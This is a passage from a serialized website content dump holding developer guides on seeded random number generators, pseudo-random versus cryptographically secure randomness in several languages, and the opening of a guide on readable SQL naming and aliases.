DEFAULT_SEED\n",[1560,176563,176564,176566,176568,176570],{"class":1562,"line":889},[1560,176565,9350],{"class":1669},[1560,176567,11489],{"class":1669},[1560,176569,175944],{"class":1566},[1560,176571,175750],{"class":1570},[1560,176573,176574],{"class":1562,"line":1710},[1560,176575,1585],{"class":1570},[1560,176577,176578],{"class":1562,"line":1717},[1560,176579,1702],{"emptyLinePlaceholder":363},[1560,176581,176582],{"class":1562,"line":1747},[1560,176583,176584],{"class":1649},"\u002F\u002F Production: random seed\n",[1560,176586,176587,176589,176592,176594,176596,176599,176601,176603,176605,176607,176609,176611,176614,176616],{"class":1562,"line":2507},[1560,176588,8180],{"class":1669},[1560,176590,176591],{"class":1576}," productionRNG",[1560,176593,8186],{"class":1669},[1560,176595,176534],{"class":1566},[1560,176597,176598],{"class":1570},"({ seed: crypto.",[1560,176600,41846],{"class":1566},[1560,176602,1688],{"class":1570},[1560,176604,20807],{"class":1669},[1560,176606,41832],{"class":1566},[1560,176608,1688],{"class":1570},[1560,176610,3585],{"class":1576},[1560,176612,176613],{"class":1570},"))[",[1560,176615,5285],{"class":1576},[1560,176617,176618],{"class":1570},"] })\n",[1560,176620,176621],{"class":1562,"line":2524},[1560,176622,1702],{"emptyLinePlaceholder":363},[1560,176624,176625],{"class":1562,"line":2529},[1560,176626,176627],{"class":1649},"\u002F\u002F Testing: fixed seed\n",[1560,176629,176630,176632,176635,176637,176639,176642,176644],{"class":1562,"line":2534},[1560,176631,8180],{"class":1669},[1560,176633,176634],{"class":1576}," testRNG",[1560,176636,8186],{"class":1669},[1560,176638,176534],{"class":1566},[1560,176640,176641],{"class":1570},"({ seed: ",[1560,176643,14520],{"class":1576},[1560,176645,8206],{"class":1570},[16,176647,176648],{},"For simulations that run across multiple machines, store the seed alongside results:",[135,176650,176652],{"className":1607,"code":176651,"language":1609,"meta":141,"style":141},"function runSimulation(config) {\n  const seed = crypto.getRandomValues(new Uint32Array(1))[0]\n  const rng = new Xoshiro256SS(seed)\n  const results = computeModel(rng, config)\n\n  return {\n    seed,       \u002F\u002F Required for reproduction\n    config,     \u002F\u002F Full configuration\n    results,    \u002F\u002F Output data\n    timestamp: new Date().toISOString(),\n  }\n}\n",[143,176653,176654,176668,176696,176710,176725,176729,176735,176743,176751,176759,176775,176779],{"__ignoreMap":141},[1560,176655,176656,176658,176661,176663,176666],{"class":1562,"line":1563},[1560,176657,8648],{"class":1669},[1560,176659,176660],{"class":1566}," runSimulation",[1560,176662,1688],{"class":1570},[1560,176664,176665],{"class":2219},"config",[1560,176667,9345],{"class":1570},[1560,176669,176670,176672,176674,176676,176678,176680,176682,176684,176686,176688,176690,176692,176694],{"class":1562,"line":337},[1560,176671,28057],{"class":1669},[1560,176673,175726],{"class":1576},[1560,176675,8186],{"class":1669},[1560,176677,41913],{"class":1570},[1560,176679,41846],{"class":1566},[1560,176681,1688],{"class":1570},[1560,176683,20807],{"class":1669},[1560,176685,41832],{"class":1566},[1560,176687,1688],{"class":1570},[1560,176689,3585],{"class":1576},[1560,176691,176613],{"class":1570},[1560,176693,5285],{"class":1576},[1560,176695,37203],{"class":1570},[1560,176697,176698,176700,176702,176704,176706,176708],{"class":1562,"line":343},[1560,176699,28057],{"class":1669},[1560,176701,175594],{"class":1576},[1560,176703,8186],{"class":1669},[1560,176705,11489],{"class":1669},[1560,176707,175944],{"class":1566},[1560,176709,175750],{"class":1570},[1560,176711,176712,176714,176717,176719,176722],{"class":1562,"line":365},[1560,176713,28057],{"class":1669},[1560,176715,176716],{"class":1576}," results",[1560,176718,8186],{"class":1669},[1560,176720,176721],{"class":1566}," computeModel",[1560,176723,176724],{"class":1570},"(rng, config)\n",[1560,176726,176727],{"class":1562,"line":889},[1560,176728,1702],{"emptyLinePlaceholder":363},[1560,176730,176731,176733],{"class":1562,"line":1710},[1560,176732,9350],{"class":1669},[1560,176734,1571],{"class":1570},[1560,176736,176737,176740],{"class":1562,"line":1717},[1560,176738,176739],{"class":1570},"    seed,       ",[1560,176741,176742],{"class":1649},"\u002F\u002F Required for reproduction\n",[1560,176744,176745,176748],{"class":1562,"line":1747},[1560,176746,176747],{"class":1570},"    config,     ",[1560,176749,176750],{"class":1649},"\u002F\u002F Full configuration\n",[1560,176752,176753,176756],{"class":1562,"line":2507},[1560,176754,176755],{"class":1570},"    results,    ",[1560,176757,176758],{"class":1649},"\u002F\u002F Output data\n",[1560,176760,176761,176764,176766,176768,176770,176772],{"class":1562,"line":2524},[1560,176762,176763],{"class":1570},"    timestamp: ",[1560,176765,20807],{"class":1669},[1560,176767,87644],{"class":1566},[1560,176769,42138],{"class":1570},[1560,176771,90155],{"class":1566},[1560,176773,176774],{"class":1570},"(),\n",[1560,176776,176777],{"class":1562,"line":2529},[1560,176778,4959],{"class":1570},[1560,176780,176781],{"class":1562,"line":2534},[1560,176782,1585],{"class":1570},[11,176784,10393],{"id":10392},[41,176786,176787,176798,176804,176814],{},[44,176788,176789,24316,176792,176794,176795,176797],{},[47,176790,176791],{},"Seeding with timestamps",[143,176793,99708],{}," as a seed produces different values per millisecond, but two simulations started in the same millisecond share a seed. Use ",[143,176796,41808],{}," for production seeds instead.",[44,176799,176800,176803],{},[47,176801,176802],{},"State mutation across tests",": If you share a single PRNG instance across tests, the second test depends on how many values the first test consumed. Create a fresh PRNG per test.",[44,176805,176806,176809,176810,176813],{},[47,176807,176808],{},"Floating-point precision",": Different languages handle float conversion differently. ",[143,176811,176812],{},"rng.next() \u002F 2³²"," may produce slightly different values in JavaScript vs. Python due to double precision. For cross-language reproducibility, work with integer outputs only.",[44,176815,176816,176819],{},[47,176817,176818],{},"State serialization",": Long-running simulations may need to checkpoint. Serialize the full PRNG state array so you can resume from the exact point of interruption.",[135,176821,176823],{"className":1607,"code":176822,"language":1609,"meta":141,"style":141},"\u002F\u002F Checkpoint and restore\nconst checkpoint = [...rng.state]\n\u002F\u002F ... later ...\nconst restored = new Xoshiro256SS(0)\nrestored.state = checkpoint\n",[143,176824,176825,176830,176846,176851,176870],{"__ignoreMap":141},[1560,176826,176827],{"class":1562,"line":1563},[1560,176828,176829],{"class":1649},"\u002F\u002F Checkpoint and restore\n",[1560,176831,176832,176834,176837,176839,176841,176843],{"class":1562,"line":337},[1560,176833,8180],{"class":1669},[1560,176835,176836],{"class":1576}," checkpoint",[1560,176838,8186],{"class":1669},[1560,176840,39830],{"class":1570},[1560,176842,24388],{"class":1669},[1560,176844,176845],{"class":1570},"rng.state]\n",[1560,176847,176848],{"class":1562,"line":343},[1560,176849,176850],{"class":1649},"\u002F\u002F ... later ...\n",[1560,176852,176853,176855,176858,176860,176862,176864,176866,176868],{"class":1562,"line":365},[1560,176854,8180],{"class":1669},[1560,176856,176857],{"class":1576}," restored",[1560,176859,8186],{"class":1669},[1560,176861,11489],{"class":1669},[1560,176863,175944],{"class":1566},[1560,176865,1688],{"class":1570},[1560,176867,5285],{"class":1576},[1560,176869,8252],{"class":1570},[1560,176871,176872,176875,176877],{"class":1562,"line":889},[1560,176873,176874],{"class":1570},"restored.state ",[1560,176876,7297],{"class":1669},[1560,176878,176879],{"class":1570}," checkpoint\n",[16,176881,176882,176883,176885],{},"Practice seeded random number generation with the tool at ",[98,176884,42521],{"href":42521},", which supports both standard and seeded modes with selectable algorithms and exportable seed values.",[2043,176887,176888],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":176890},[176891,176892,176893,176894],{"id":175552,"depth":337,"text":175553},{"id":175814,"depth":337,"text":175815},{"id":176502,"depth":337,"text":176503},{"id":10392,"depth":337,"text":10393},"Use seeded PRNGs for reproducible random outputs in testing, simulations, and game dev.",{},"\u002Fguides\u002Frandom-seed-reproducibility",{"title":175544,"description":176895},"guides\u002Frandom-seed-reproducibility","S0RvDZL1ZsyDumi5dP2t5hgGO6DN2l4E5yqY0rtl3rs",{"id":176902,"title":42540,"body":176903,"date":2070,"description":177582,"extension":361,"meta":177583,"navigation":363,"path":42539,"readingTime":1717,"seo":177584,"stem":177585,"__hash__":177586},"guides\u002Fguides\u002Frandomness-in-programming.md",{"type":8,"value":176904,"toc":177562},[176905,176909,176918,176921,176923,176929,176933,176936,176942,176953,176959,176961,176971,176980,176984,176991,177013,177019,177023,177026,177030,177066,177072,177076,177120,177124,177144,177159,177163,177192,177201,177205,177304,177308,177417,177421,177424,177461,177467,177480,177482,177518,177520,177545,177547,177559],[11,176906,176908],{"id":176907},"what-is-randomness-in-code","What Is Randomness in Code?",[16,176910,176911,176912,1856,176914,176917],{},"Randomness in programming falls into two categories: ",[47,176913,175487],{},[47,176915,176916],{},"cryptographically secure",". Most code you write uses pseudo-random number generators (PRNGs) — fast algorithms that produce sequences appearing random but are fully deterministic. Cryptographic randomness draws from hardware or OS entropy sources and is unpredictable even if you know the algorithm state.",[16,176919,176920],{},"Choosing the wrong type creates real problems. A PRNG in a password generator lets attackers predict credentials. A CSPRNG in a game simulation wastes CPU cycles for no security benefit.",[11,176922,41658],{"id":41657},[16,176924,176925,176926,176928],{},"PRNGs start from a ",[47,176927,41664],{}," value and apply a mathematical formula to produce each output. Same seed, same sequence — every time. This determinism is useful for testing and reproducibility but disqualifies PRNGs from security contexts.",[33,176930,176932],{"id":176931},"linear-congruential-generator-lcg","Linear Congruential Generator (LCG)",[16,176934,176935],{},"The oldest and simplest PRNG family. It computes each number as:",[135,176937,176940],{"className":176938,"code":176939,"language":140},[138],"next = (a * current + c) mod m\n",[143,176941,176939],{"__ignoreMap":141},[16,176943,176944,176945,176948,176949,176952],{},"LCG powers ",[143,176946,176947],{},"java.util.Random"," and was the default in C's ",[143,176950,176951],{},"rand()",". It is fast but has poor statistical quality — low bits cycle in short periods, and the output forms a hyperplane pattern in multidimensional space.",[16,176954,176955,176958],{},[47,176956,176957],{},"Use it for:"," trivial demos, never for serious work.",[33,176960,173570],{"id":173569},[16,176962,176963,176964,176966,176967,176970],{},"The most widely used PRNG. It has a period of 2¹⁹⁹³⁷−1 and passes most statistical tests. Python's ",[143,176965,38108],{}," module, C++'s ",[143,176968,176969],{},"std::mt19937",", and Ruby's default all use Mersenne Twister.",[16,176972,176973,176976,176977,176979],{},[47,176974,176975],{},"Drawbacks:"," its 2.5 KB state is large, it fails some modern statistical suites (TestU01 Big Crush), and it is ",[47,176978,28839],{}," cryptographically secure. Observing 624 consecutive outputs lets you reconstruct the full state and predict all future values.",[33,176981,176983],{"id":176982},"xoshiro-xorshift-family","xoshiro \u002F xorshift Family",[16,176985,176986,176987,176990],{},"Modern alternatives designed by Sebastiano Vigna. The xoshiro256** variant offers excellent statistical quality, small state (32 bytes), and high speed. It is the default PRNG in V8 (JavaScript), Rust's ",[143,176988,176989],{},"SmallRng",", and many game engines.",[135,176992,176994],{"className":1607,"code":176993,"language":1609,"meta":141,"style":141},"\u002F\u002F V8 uses xoshiro256** under the hood\nMath.random() \u002F\u002F → 0.4621848491...\n",[143,176995,176996,177001],{"__ignoreMap":141},[1560,176997,176998],{"class":1562,"line":1563},[1560,176999,177000],{"class":1649},"\u002F\u002F V8 uses xoshiro256** under the hood\n",[1560,177002,177003,177006,177008,177010],{"class":1562,"line":337},[1560,177004,177005],{"class":1570},"Math.",[1560,177007,38108],{"class":1566},[1560,177009,38111],{"class":1570},[1560,177011,177012],{"class":1649},"\u002F\u002F → 0.4621848491...\n",[16,177014,177015,177018],{},[47,177016,177017],{},"Trade-off:"," like all PRNGs, xoshiro is predictable. If you need security, look elsewhere.",[11,177020,177022],{"id":177021},"cryptographically-secure-prngs-csprngs","Cryptographically Secure PRNGs (CSPRNGs)",[16,177024,177025],{},"CSPRNGs pull entropy from the operating system — hardware noise, disk timings, keystroke intervals — and mix it into a pool. Even if an attacker observes previous outputs, they cannot predict future values.",[33,177027,177029],{"id":177028},"browser-cryptogetrandomvalues","Browser: crypto.getRandomValues",[135,177031,177033],{"className":1607,"code":177032,"language":1609,"meta":141,"style":141},"const array = new Uint32Array(4);\ncrypto.getRandomValues(array);\n\u002F\u002F → [2847936452, 1067498723, 3891746501, 723948102]\n",[143,177034,177035,177053,177061],{"__ignoreMap":141},[1560,177036,177037,177039,177041,177043,177045,177047,177049,177051],{"class":1562,"line":1563},[1560,177038,8180],{"class":1669},[1560,177040,41825],{"class":1576},[1560,177042,8186],{"class":1669},[1560,177044,11489],{"class":1669},[1560,177046,41832],{"class":1566},[1560,177048,1688],{"class":1570},[1560,177050,12546],{"class":1576},[1560,177052,1744],{"class":1570},[1560,177054,177055,177057,177059],{"class":1562,"line":337},[1560,177056,41843],{"class":1570},[1560,177058,41846],{"class":1566},[1560,177060,41849],{"class":1570},[1560,177062,177063],{"class":1562,"line":343},[1560,177064,177065],{"class":1649},"\u002F\u002F → [2847936452, 1067498723, 3891746501, 723948102]\n",[16,177067,177068,177069,177071],{},"This is the only secure way to get random data in the browser. ",[143,177070,41774],{}," is fast but predictable.",[33,177073,177075],{"id":177074},"nodejs-cryptorandombytes","Node.js: crypto.randomBytes",[135,177077,177079],{"className":1607,"code":177078,"language":1609,"meta":141,"style":141},"const crypto = require('crypto');\nconst bytes = crypto.randomBytes(16);\n\u002F\u002F → \u003CBuffer 7a 3f b2 ...>\n",[143,177080,177081,177097,177115],{"__ignoreMap":141},[1560,177082,177083,177085,177087,177089,177091,177093,177095],{"class":1562,"line":1563},[1560,177084,8180],{"class":1669},[1560,177086,41881],{"class":1576},[1560,177088,8186],{"class":1669},[1560,177090,20658],{"class":1566},[1560,177092,1688],{"class":1570},[1560,177094,41890],{"class":5634},[1560,177096,1744],{"class":1570},[1560,177098,177099,177101,177103,177105,177107,177109,177111,177113],{"class":1562,"line":337},[1560,177100,8180],{"class":1669},[1560,177102,41908],{"class":1576},[1560,177104,8186],{"class":1669},[1560,177106,41913],{"class":1570},[1560,177108,41916],{"class":1566},[1560,177110,1688],{"class":1570},[1560,177112,10057],{"class":1576},[1560,177114,1744],{"class":1570},[1560,177116,177117],{"class":1562,"line":343},[1560,177118,177119],{"class":1649},"\u002F\u002F → \u003CBuffer 7a 3f b2 ...>\n",[33,177121,177123],{"id":177122},"python-secrets-module","Python: secrets Module",[135,177125,177127],{"className":8259,"code":177126,"language":8261,"meta":141,"style":141},"import secrets\ntoken = secrets.token_hex(16)  # 32 hex chars\nnumber = secrets.randbelow(100)  # 0–99 inclusive\n",[143,177128,177129,177134,177139],{"__ignoreMap":141},[1560,177130,177131],{"class":1562,"line":1563},[1560,177132,177133],{},"import secrets\n",[1560,177135,177136],{"class":1562,"line":337},[1560,177137,177138],{},"token = secrets.token_hex(16)  # 32 hex chars\n",[1560,177140,177141],{"class":1562,"line":343},[1560,177142,177143],{},"number = secrets.randbelow(100)  # 0–99 inclusive\n",[16,177145,177146,177147,177150,177151,177154,177155,177158],{},"Python 3.6+ provides ",[143,177148,177149],{},"secrets"," specifically for security use cases. The older ",[143,177152,177153],{},"random.SystemRandom"," calls ",[143,177156,177157],{},"os.urandom"," under the hood.",[33,177160,177162],{"id":177161},"java-securerandom","Java: SecureRandom",[135,177164,177166],{"className":10198,"code":177165,"language":10185,"meta":141,"style":141},"import java.security.SecureRandom;\n\nSecureRandom sr = new SecureRandom();\nbyte[] bytes = new byte[16];\nsr.nextBytes(bytes);\n",[143,177167,177168,177173,177177,177182,177187],{"__ignoreMap":141},[1560,177169,177170],{"class":1562,"line":1563},[1560,177171,177172],{},"import java.security.SecureRandom;\n",[1560,177174,177175],{"class":1562,"line":337},[1560,177176,1702],{"emptyLinePlaceholder":363},[1560,177178,177179],{"class":1562,"line":343},[1560,177180,177181],{},"SecureRandom sr = new SecureRandom();\n",[1560,177183,177184],{"class":1562,"line":365},[1560,177185,177186],{},"byte[] bytes = new byte[16];\n",[1560,177188,177189],{"class":1562,"line":889},[1560,177190,177191],{},"sr.nextBytes(bytes);\n",[16,177193,177194,177195,43531,177198,177200],{},"On Linux, ",[143,177196,177197],{},"SecureRandom",[143,177199,43534],{}," by default. On Windows, it uses the CryptoAPI.",[11,177202,177204],{"id":177203},"prng-vs-csprng-comparison","PRNG vs CSPRNG Comparison",[193,177206,177207,177219],{},[196,177208,177209],{},[199,177210,177211,177213,177216],{},[202,177212,14482],{},[202,177214,177215],{},"PRNG (Math.random, random)",[202,177217,177218],{},"CSPRNG (crypto, secrets)",[211,177220,177221,177232,177243,177255,177267,177279,177292],{},[199,177222,177223,177227,177229],{},[216,177224,177225],{},[47,177226,819],{},[216,177228,42858],{},[216,177230,177231],{},"Slower (entropy mixing)",[199,177233,177234,177238,177241],{},[216,177235,177236],{},[47,177237,170700],{},[216,177239,177240],{},"Deterministic from seed",[216,177242,170733],{},[199,177244,177245,177249,177252],{},[216,177246,177247],{},[47,177248,42601],{},[216,177250,177251],{},"Possible from outputs",[216,177253,177254],{},"Computationationally infeasible",[199,177256,177257,177261,177264],{},[216,177258,177259],{},[47,177260,21443],{},[216,177262,177263],{},"Fixed (2¹⁹⁹³⁷ for MT)",[216,177265,177266],{},"No fixed period",[199,177268,177269,177274,177277],{},[216,177270,177271],{},[47,177272,177273],{},"Use for passwords",[216,177275,177276],{},"Never",[216,177278,171889],{},[199,177280,177281,177286,177289],{},[216,177282,177283],{},[47,177284,177285],{},"Use for simulations",[216,177287,177288],{},"Preferred",[216,177290,177291],{},"Overkill",[199,177293,177294,177299,177301],{},[216,177295,177296],{},[47,177297,177298],{},"Use for games",[216,177300,177288],{},[216,177302,177303],{},"Only for gambling",[11,177305,177307],{"id":177306},"language-api-quick-reference","Language API Quick Reference",[193,177309,177310,177320],{},[196,177311,177312],{},[199,177313,177314,177316,177318],{},[202,177315,9824],{},[202,177317,42004],{},[202,177319,42045],{},[211,177321,177322,177336,177352,177367,177383,177399],{},[199,177323,177324,177328,177332],{},[216,177325,177326],{},[47,177327,9860],{},[216,177329,177330],{},[143,177331,41774],{},[216,177333,177334],{},[143,177335,41808],{},[199,177337,177338,177342,177347],{},[216,177339,177340],{},[47,177341,9840],{},[216,177343,177344],{},[143,177345,177346],{},"random.random()",[216,177348,177349],{},[143,177350,177351],{},"secrets.token_hex()",[199,177353,177354,177358,177362],{},[216,177355,177356],{},[47,177357,9880],{},[216,177359,177360],{},[143,177361,176947],{},[216,177363,177364],{},[143,177365,177366],{},"java.security.SecureRandom",[199,177368,177369,177373,177378],{},[216,177370,177371],{},[47,177372,9900],{},[216,177374,177375],{},[143,177376,177377],{},"math\u002Frand",[216,177379,177380],{},[143,177381,177382],{},"crypto\u002Frand",[199,177384,177385,177389,177394],{},[216,177386,177387],{},[47,177388,9920],{},[216,177390,177391],{},[143,177392,177393],{},"rand::thread_rng()",[216,177395,177396],{},[143,177397,177398],{},"rand::rngs::OsRng",[199,177400,177401,177405,177412],{},[216,177402,177403],{},[47,177404,87811],{},[216,177406,177407,14237,177409],{},[143,177408,176951],{},[143,177410,177411],{},"mt_rand()",[216,177413,177414],{},[143,177415,177416],{},"random_bytes()",[11,177418,177420],{"id":177419},"seeding-and-reproducibility","Seeding and Reproducibility",[16,177422,177423],{},"Controlling the seed gives you reproducible results — useful for tests, procedural content, and scientific experiments.",[135,177425,177427],{"className":8259,"code":177426,"language":8261,"meta":141,"style":141},"import random\n\nrandom.seed(42)\nprint(random.random())  # 0.6394267984578837 — same every time\n\nrandom.seed(42)\nprint(random.random())  # 0.6394267984578837 — exact repeat\n",[143,177428,177429,177434,177438,177443,177448,177452,177456],{"__ignoreMap":141},[1560,177430,177431],{"class":1562,"line":1563},[1560,177432,177433],{},"import random\n",[1560,177435,177436],{"class":1562,"line":337},[1560,177437,1702],{"emptyLinePlaceholder":363},[1560,177439,177440],{"class":1562,"line":343},[1560,177441,177442],{},"random.seed(42)\n",[1560,177444,177445],{"class":1562,"line":365},[1560,177446,177447],{},"print(random.random())  # 0.6394267984578837 — same every time\n",[1560,177449,177450],{"class":1562,"line":889},[1560,177451,1702],{"emptyLinePlaceholder":363},[1560,177453,177454],{"class":1562,"line":1710},[1560,177455,177442],{},[1560,177457,177458],{"class":1562,"line":1717},[1560,177459,177460],{},"print(random.random())  # 0.6394267984578837 — exact repeat\n",[16,177462,177463,177466],{},[47,177464,177465],{},"Warning:"," reusing the same seed in production is a security risk. If an attacker guesses your seed, they can reproduce your entire random sequence. Only seed PRNGs deliberately in testing or creative coding.",[16,177468,177469,177470,177472,177473,177475,177476,177479],{},"In JavaScript, ",[143,177471,41774],{}," does ",[47,177474,28839],{}," expose a seed API. For seeded randomness, use a library like ",[143,177477,177478],{},"seedrandom"," or implement xoshiro directly.",[11,177481,2341],{"id":2340},[41,177483,177484,177496,177502,177512],{},[44,177485,177486,177491,177492,1531,177494,468],{},[47,177487,18204,177488,177490],{},[143,177489,41774],{}," for tokens or passwords."," It is predictable. Always use ",[143,177493,41808],{},[143,177495,43565],{},[44,177497,177498,177501],{},[47,177499,177500],{},"Seeding a CSPRNG."," You override the entropy source and defeat its purpose. Let the OS handle it.",[44,177503,177504,177507,177508,177511],{},[47,177505,177506],{},"Truncating random values."," Taking ",[143,177509,177510],{},"Math.random() % 6"," for dice introduces modulo bias — lower numbers appear slightly more often. Use rejection sampling instead.",[44,177513,177514,177517],{},[47,177515,177516],{},"Sharing a PRNG instance across threads."," Mersenne Twister is not thread-safe. Concurrent calls corrupt the state.",[11,177519,1355],{"id":1354},[41,177521,177522,177525,177528,177539,177542],{},[44,177523,177524],{},"PRNGs are deterministic sequences; CSPRNGs pull from OS entropy and are unpredictable.",[44,177526,177527],{},"Mersenne Twister and xoshiro dominate PRNG usage; choose xoshiro for speed and smaller state.",[44,177529,177530,177531,1459,177534,1459,177536,177538],{},"Use CSPRNGs (",[143,177532,177533],{},"crypto",[143,177535,177149],{},[143,177537,177197],{},") for anything security-related — passwords, tokens, keys.",[44,177540,177541],{},"Seeding gives reproducibility in tests but is a vulnerability in production.",[44,177543,177544],{},"Modulo truncation creates bias — use proper range reduction techniques.",[11,177546,286],{"id":285},[16,177548,177549,177550,177552,177553,177555,177556,177558],{},"Generate cryptographically random values right in your browser. Use our ",[98,177551,42522],{"href":42521}," to produce secure random integers, our ",[98,177554,170976],{"href":170975}," to create strong passwords from CSPRNG entropy, or our ",[98,177557,170971],{"href":170970}," to generate RFC-compliant unique identifiers — all free, no signup required.",[2043,177560,177561],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":177563},[177564,177565,177570,177576,177577,177578,177579,177580,177581],{"id":176907,"depth":337,"text":176908},{"id":41657,"depth":337,"text":41658,"children":177566},[177567,177568,177569],{"id":176931,"depth":343,"text":176932},{"id":173569,"depth":343,"text":173570},{"id":176982,"depth":343,"text":176983},{"id":177021,"depth":337,"text":177022,"children":177571},[177572,177573,177574,177575],{"id":177028,"depth":343,"text":177029},{"id":177074,"depth":343,"text":177075},{"id":177122,"depth":343,"text":177123},{"id":177161,"depth":343,"text":177162},{"id":177203,"depth":337,"text":177204},{"id":177306,"depth":337,"text":177307},{"id":177419,"depth":337,"text":177420},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Compare pseudo-random and cryptographic randomness across programming languages and learn when each matters.",{"immutable":363},{"title":42540,"description":177582},"guides\u002Frandomness-in-programming","moo--VBkupWOOy8l9JMKjRISjRKL7BjG3tlsROkn8v8",{"id":177588,"title":177589,"body":177590,"date":2070,"description":178238,"extension":361,"meta":178239,"navigation":363,"path":178243,"readingTime":1717,"seo":178244,"stem":178245,"__hash__":178246},"guides\u002Fguides\u002Freadable-sql-team-collaboration.md","Readable SQL for Team Collaboration: Making Queries Self-Documenting",{"type":8,"value":177591,"toc":178220},[177592,177596,177599,177602,177613,177616,177620,177624,177627,177677,177686,177690,177693,177766,177769,177773,177776,177899,177902,177906,177909,177947,177956,177960,177964,178003,178006,178010,178040,178050,178054,178057,178083,178087,178170,178172,178192,178194,178200,178202,178218],[11,177593,177595],{"id":177594},"the-hidden-cost-of-unreadable-sql","The Hidden Cost of Unreadable SQL",[16,177597,177598],{},"Teams spend more time reading SQL than writing it. A query written in five minutes might be reviewed, debugged, and modified dozens of times over its lifespan. If that query is dense, inconsistent, or cleverly obfuscated, every subsequent interaction costs extra time.",[16,177600,177601],{},"Unreadable SQL leads to:",[41,177603,177604,177607,177610],{},[44,177605,177606],{},"Slow code reviews where reviewers give up and approve without understanding",[44,177608,177609],{},"Bugs introduced during modifications because the modifier misread the logic",[44,177611,177612],{},"Duplicate queries because nobody can find the existing one that does the same thing",[16,177614,177615],{},"Making SQL readable is not cosmetic — it is a productivity investment.",[11,177617,177619],{"id":177618},"naming-conventions","Naming Conventions",[33,177621,177623],{"id":177622},"tables-and-columns","Tables and Columns",[16,177625,177626],{},"Consistent naming eliminates guesswork:",[193,177628,177629,177639],{},[196,177630,177631],{},[199,177632,177633,177635,177637],{},[202,177634,163762],{},[202,177636,133],{},[202,177638,2683],{},[211,177640,177641,177653,177665],{},[199,177642,177643,177645,177650],{},[216,177644,23347],{},[216,177646,177647],{},[143,177648,177649],{},"user_accounts",[216,177651,177652],{},"Most common in SQL databases",[199,177654,177655,177657,177662],{},[216,177656,23337],{},[216,177658,177659],{},[143,177660,177661],{},"userAccounts",[216,177663,177664],{},"Rare in SQL, common in ORMs",[199,177666,177667,177669,177674],{},[216,177668,27917],{},[216,177670,177671],{},[143,177672,177673],{},"UserAccounts",[216,177675,177676],{},"Sometimes used in SQL Server",[16,177678,177679,177680,1856,177682,177685],{},"Pick one convention and document it. More important than the specific case is consistency — mixing ",[143,177681,177649],{},[143,177683,177684],{},"UserOrders"," in the same schema confuses everyone.",[33,177687,177689],{"id":177688},"aliases","Aliases",[16,177691,177692],{},"Bad aliases are the fastest way to make a query unreadable:",[135,177694,177696],{"className":23599,"code":177695,"language":23601,"meta":141,"style":141},"-- Bad: meaningless single letters\nSELECT a.x, b.y\nFROM table_a a\nJOIN table_b b ON a.id = b.aid\n\n-- Better: short, meaningful aliases\nSELECT acc.balance, txn.amount\nFROM accounts acc\nJOIN transactions txn ON acc.id = txn.account_id\n\n-- Best: avoid aliases when table names are short\nSELECT accounts.balance, transactions.amount\nFROM accounts\nJOIN transactions ON accounts.id = transactions.account_id\n",[143,177697,177698,177703,177708,177713,177718,177722,177727,177732,177737,177742,177746,177751,177756,177761],{"__ignoreMap":141},[1560,177699,177700],{"class":1562,"line":1563},[1560,177701,177702],{},"-- Bad: meaningless single letters\n",[1560,177704,177705],{"class":1562,"line":337},[1560,177706,177707],{},"SELECT a.x, b.y\n",[1560,177709,177710],{"class":1562,"line":343},[1560,177711,177712],{},"FROM table_a a\n",[1560,177714,177715],{"class":1562,"line":365},[1560,177716,177717],{},"JOIN table_b b ON a.id = b.aid\n",[1560,177719,177720],{"class":1562,"line":889},[1560,177721,1702],{"emptyLinePlaceholder":363},[1560,177723,177724],{"class":1562,"line":1710},[1560,177725,177726],{},"-- Better: short, meaningful 